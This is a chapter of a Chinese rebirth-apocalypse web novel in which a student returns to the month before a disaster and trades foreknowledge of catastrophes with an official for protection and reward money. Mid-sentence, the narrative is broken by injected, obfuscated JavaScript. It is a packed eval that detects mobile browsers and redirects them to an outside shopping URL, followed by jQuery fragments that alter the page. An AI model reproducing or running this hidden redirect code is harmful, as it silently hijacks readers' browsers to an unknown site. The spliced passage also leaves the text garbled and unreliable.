夏日炎炎,教室里闷得像个蒸笼,那台从建校起就没有换过的老旧电风扇有气无力地转着,发出“嘎吱嘎吱”的声响,搅得空气越发燥热。
窗外的蝉鸣聒噪得盖过了老师的授课声,硬生生将趴在桌上沉睡的余安安惊醒。
她猛地从课椅上弹起来,茫然地环顾四周。
后背早已被冷汗浸透,黏腻的布料紧贴着肌肤,冰凉的汗滴顺着额角滑落,砸在摊开的课本上。
她的眼神里满是挥之不去的迷茫,还有一丝难以掩饰的绝望。
她就那样怔怔地站在原地,全然不顾讲台上老师严厉的问责,也无视了周遭同学窃窃私语投来的异样目光。
混沌的意识一点一滴地回笼,直到被耳畔清晰的蝉鸣、鼻尖淡淡的粉笔灰味,还有眼前这间窗明几净的教室彻底震住——这分明是末世降临前的课堂,自己……竟然重生了?!
她猛然抓起同桌周子溢藏在课本后的手机,亮屏的瞬间,刺眼的白光映出屏幕上的字样——xxxx年8月13日,16:35。
得!
刚好回到末世降临前一个月,时间很紧,但……来得及!
余安安攥着手机,头也不回地冲出教室,上辈子末世里的颠沛流离、生死挣扎,此刻像电影快剪镜头般在脑海里疯转。
“喂!余安安!那是我的手机!!”周子溢的惊呼声紧随其后。
“上课偷玩手机,你还敢喊?!”讲台上老师的怒斥声也炸响在走廊里。
“不是,老师我……”周子溢百口莫辩的委屈腔调混在一片嘈杂中。
余安安充耳不闻,脚下的速度越来越快,像一阵风似的往校园外冲——她就是故意拿走周子溢的手机的。
那家伙可是仗着自己有个区领导的爸爸,整日在学校里耀武扬威,看着嚣张跋扈,实则是个欺软怕硬的怂蛋,心肠坏不到哪儿去。
毕竟在上辈子那个食物比命还要金贵的吃人的末世里,周子溢曾从自己为数不多的口粮里,偷偷塞给过余安安半瓶水和几片发霉的面包。
余安安的脚步顿了顿,回头望了一眼教学楼的方向,仿佛能看见周子溢在教室里急得跳脚的模样,嘴角不自觉地勾起一抹浅浅的笑。
思绪万千,余安安没时间深究自己为什么会重生。
她死死地攥着手机,指节泛白——妈妈生她时难产离世,她是外公一手拉扯大的。
上辈子,天灾突降,硕大的冰雹砸落,外公为了护着她,硬生生被砸穿了脑袋,温热的血溅在她脸上的触感,这辈子都刻在骨血里。
所以——这辈子,换她来守护外公!
只是现在还不是去找外公的时候,有更要紧的事等着她去做。
“叮咚!”
“叮咚!”
“叮咚!”
手机接连震了三下,跳出的全是天气预警的短信。
红色高温预警还未褪去,又叠上了超强台风“香芋”的紧急通知——预计明天凌晨登陆沿海,风力可达16-19级,伴随数日不间断的大暴雨。
余安安的心跳猛地漏了一拍。
她比谁都清楚,这场台风根本不是普通的极端天气,而是末世的前奏,是灾难的预警信号。
上辈子的天灾,真正的毁灭性打击始于一个月后的虫灾,但这场台风带来的洪涝、基础设施损毁,早已为后续的混乱埋下了伏笔。
末世的齿轮,从这一刻起,已经开始悄无声息地转动,每一分每一秒都在逼近。
“叮咚!”
又一条台风路径更新的预警跳出,她匆匆扫过一眼,眼底闪过一丝决绝。
指尖飞快点开通讯录,翻到那个备注为“爸爸”的号码——周子溢的父亲,手握一方行政权力,此刻是她能抓住的、最有可能提前规避部分风险的稻草。
她毫不犹豫地按下了拨通键。
电话接通前的忙音里,余安安深深地吸一口气,眼神锐利得像淬了冰——这通电话,不只是为了借周子溢他爸的势,更是为了给自己和外公抢一条生路。
*
一个小时后,茶室包厢内茶香袅袅,却压不住空气中悄然流淌的暗涌。
余安安与周子溢的父亲周忍隔桌相对。
周忍唇角始终噙着一抹浅淡到近乎疏离的笑意,眼底却沉敛着久经上位的威压,那股无形的气势,若是换作前世的余安安,只敢远远站在角落,连与他对视的勇气都没有。
站在周忍身后的是他的联络员周子满——亦是周子溢的亲哥哥,他如青松般笔挺伫立。
周子满身着熨帖的深色西装,脊梁绷得笔直,举手投足间尽是经过严苛训练的规整,唯有投向余安安的目光,带着几分自上而下的探究,眼底翻涌的不屑如同未被抹平的褶皱,藏都藏不住。
余安安端坐不动,目光沉静如潭,将对面父子俩的细微神色、举手投足尽收眼底,脸上却无波无澜,仿佛那道慑人的威压与直白的轻视都与她无关。
她没有多余的寒暄,抬手便从身侧的帆布包里掏出一沓厚厚的、边缘还带着撕扯痕迹的悬赏通缉令,“啪”地一声轻放在光滑的红木桌面上。
纸张堆叠的厚度,足以见得数量之多。
她抬眼,开门见山,声音清亮而笃定:“我知道这些通缉犯的藏匿点。”
周忍闻言心头微动,那双深不见底的眸子里掠过一丝极淡的闪烁,快得如同错觉,但他面上依旧端得稳如泰山,唇角的笑意未减分毫,连眼角的纹路都不曾牵动半分,半点情绪都未曾外泄。
周子满眼底的讶异转瞬即逝,眉宇间极轻地动了一下,原本微蹙的眉头瞬间被一层冷硬的漠然覆盖。
他从西装内侧的口袋里掏出手机,指尖划过屏幕,连一个多余的眼神都懒得再分给余安安,仿佛她的话不过是无关紧要的聒噪。
周忍身子微微向后一倾,这个细微的动作刚落下,周子满便已心领神会。
他抬了抬下巴,声音不高不低,却带着一种全然的掌控感,清晰地传入余安安耳中:“余安安,子溢的同桌,当年本省高考文科状元,户口本上只有她和她的外公黄财财。”
周忍缓缓颔首,脸上的笑容依旧温和,语气里听不出丝毫的不耐烦,仿佛只是在与一个晚辈闲话家常:“安安呐,你要是知道什么消息跟子满说就好。等我们核查清楚,抓获了通缉犯,自然会给你相应的表彰和奖金。”
言罢,他双手轻轻按在茶椅扶手上,已有了起身离开的意思。
余安安也不着急,指尖漫不经心地划过桌面散落的通缉令边角,垂眸看了眼手机屏幕上的时间,声音依旧平静无波,却带着一种不容置疑的笃定:“周伯伯要是不赶时间的话,不如再坐5分钟——”
周忍按在扶手上的手指一顿,原本要起身的动作骤然停住,那双深眸里闪过一丝不易察觉的探究,随即缓缓将手放回膝头,身体重新坐直:“是还有什么事情要说吗?”
“5分钟后,日本富士山会突发大规模火山爆发,烟尘高度将突破万米;8分钟后,西藏北部山区会发生大面积雪崩,覆盖三个自然村;12分钟后,韩国东南部沿海地带会陆沉三分之一,海水倒灌至内陆十公里;13分钟后,美国东西海岸将同时出现巨型龙卷风,风速突破每小时两百五十公里。”
余安安语速平稳,一字一句清晰地砸在寂静的包厢里,末了话锋一转,目光落在窗外阴沉的天空上:“还有你们密切关注的超级台风‘香芋’不是明天凌晨登陆,而是后天傍晚6点37分。届时全市会彻底断电48小时,强降雨将持续整整一周。老城区、沿江路、城西洼地等多处地段会被雨水淹没,最深积水可达两米。”
话音落下,余安安便收了声,重新垂下眼帘,仿佛刚才说的不是关乎多国命运的惊天预言,只是寻常的天气播报。
整个茶室包厢静得可怕,连空气流动的声音都消失了,只剩下三人浅浅的呼吸声,静到仿佛能听见墙角蚂蚁爬行的细碎声响。
周忍的双手不自觉地撰拳又松开,指节泛白,脸上的温和笑意早已荡然无存。
他先是在心里嗤笑,觉得这简直是天方夜谭——多国同时爆发极端灾害且时间精准到分钟,这根本不符合自然规律,更像是科幻电影里的情节,可指尖传来的凉意却让他莫名有些心神不宁。
他甚至在心里暗自纠结:若是真的,这女孩的力量未免太过恐怖;可若是假的,刚才那番笃定的语气,又实在不像是装出来的。
他一时间竟搞不清自己到底是希望她所言为真,还是为假。
理智告诉他,这女孩的话荒诞不经,所谓“多国灾害预言”不过是无稽之谈,大概率是为了博取关注、抬高要价的噱头。
可就是不知为何,自己就是莫名地相信她说的“预言”。
周忍身后的周子满反应更加直接,他猛地皱紧眉头,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545566|204128||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嘴角勾起一抹难以掩饰的讥讽,心里直骂荒唐。
他见过太多想攀附周家、故弄玄虚的人,看来眼前的这文科状元也不过如此!
可不知为何,他停下了划动手机的动作,瞳孔骤然收缩,看向余安安的眼神里,除了难以置信的荒谬,还多了一丝连自己都没察觉的紧张。
尤其是听到“美国东西海岸同时出现巨型龙卷风”时,他喉结不自觉地滚动了一下,下意识地摸了摸口袋里的工作手机——那里面连接着全球灾害预警系统,若是真有异动,必然会第一时间收到消息。
他在心里一遍遍告诉自己“不可能”、“她在发疯”,但身体却僵在原地,目光不受控制地瞟向墙上的挂钟,连呼吸都悄悄放轻了几分。
时间一分一秒地流逝,墙上的挂钟滴答作响,每一声都像是敲在两人心上。
就在第五分钟刚过的瞬间,“叮咚——”
“叮咚!”
周忍和周子满的手机几乎同时响起,屏幕上弹出的新闻推送赫然写着:【突发!日本富士山爆发大规模火山喷发,政府已启动最高级别应急响应】
紧接着,各大新闻APP的推送如同潮水般涌来,无一不是关于日本富士山爆发的实时报道。
周子满猛地拿起手机,指尖颤抖着点开新闻,屏幕上滚动的画面与余安安的描述分毫不差。
他还未从震惊中回过神,第八分钟,西藏大面积雪崩的快讯再次弹出,配着现场拍摄的漫天雪雾视频,冲击力十足。
随后,韩国陆沉、美国龙卷风的消息接踵而至,每一个时间点都精准得令人心惊。
周忍脸上最后一丝从容也消失了,他身子坐得笔直,背脊绷成一条直线,眼底满是凝重与紧张,先前那股沉敛的威压此刻尽数化为对眼前女孩的忌惮。
周子满的神色早已彻底严肃下来,他一手握着自己的手机,一手飞快地操作着另一部工作手机,指尖在屏幕上敲击得飞快,语气带着前所未有的急切:“余同学,麻烦您立刻告知关于通缉犯的具体藏匿点,我这就安排人手部署抓捕!”
“还有超级台风‘香芋’,”周忍连忙补充,声音里带着一丝不易察觉的急切,先前的“安安呐”早已换成了郑重的“余同学”,“那些会积水的地段,还请余同学详细告知——若是余同学方便的话。”
“可以。”余安安抬眼,眼眸微凝,墨色的瞳孔里看不出丝毫情绪,语气依旧平稳,却让周忍父子不约而同地屏住呼吸,听得更加专注,“但我有一个小小的请求。”
周忍连忙点头:“请讲,只要我们能做到,一定满足。”
“第一,严格保密我的存在,无论是通缉犯的线索来源,还是台风预警的消息渠道,都不得提及我;第二,悬赏的奖金,希望在今晚0点前全部打到我的账户上;第三,永远不要追问我的消息来源,也不要试图调查和刻意接近我和我的外公;第四,从今往后,周家不得干预我和我外公的任何生活,保证我们的人身自由与安全。”
这四条请求,条条都戳在要害上,分明是带着绝对的掌控力提出的条件。
周忍父子心里纵然暗忖这哪里是“一个请求”,但面对余安安展现出的神秘力量,以及关乎无数人生死的预警,他们没有丝毫犹豫,几乎异口同声地答应:“好!我们答应你!”
余安安不再多言,从帆布包里掏出另一页纸,上面早已写好了通缉犯的藏匿地址、人数、作息规律,以及详细的积水地段清单。
她将纸条推到两人面前,又报出了自己的银行账号。
周忍和周子满连忙凑上前查看,纸条上的信息详尽得惊人,甚至标注了通缉犯藏匿点的通风口、后门位置,以及积水地段的危险等级,显然是经过深思熟虑的。
确认信息无误后,周子满立刻起身,一边快步走向门口一边拨通电话,语气急促却有条不紊地部署着各项工作。
余安安没有停留,报完账号后,便收拾好自己的东西,转身朝着包厢门口走去。
她的脚步依旧平稳,没有丝毫拖沓,从头到尾都没有再看周忍父子一眼,如同来时一般,干脆利落,头也不回地消失在门外。
包厢内,周忍看着那张写满关键信息的纸条,又看了眼手机上不断弹出的灾害新闻,眼底的凝重愈发深沉。
他知道,从今天起,这个叫余安安的女孩,再也不是那个“周子溢的同桌”和“文科状元”那么简单了。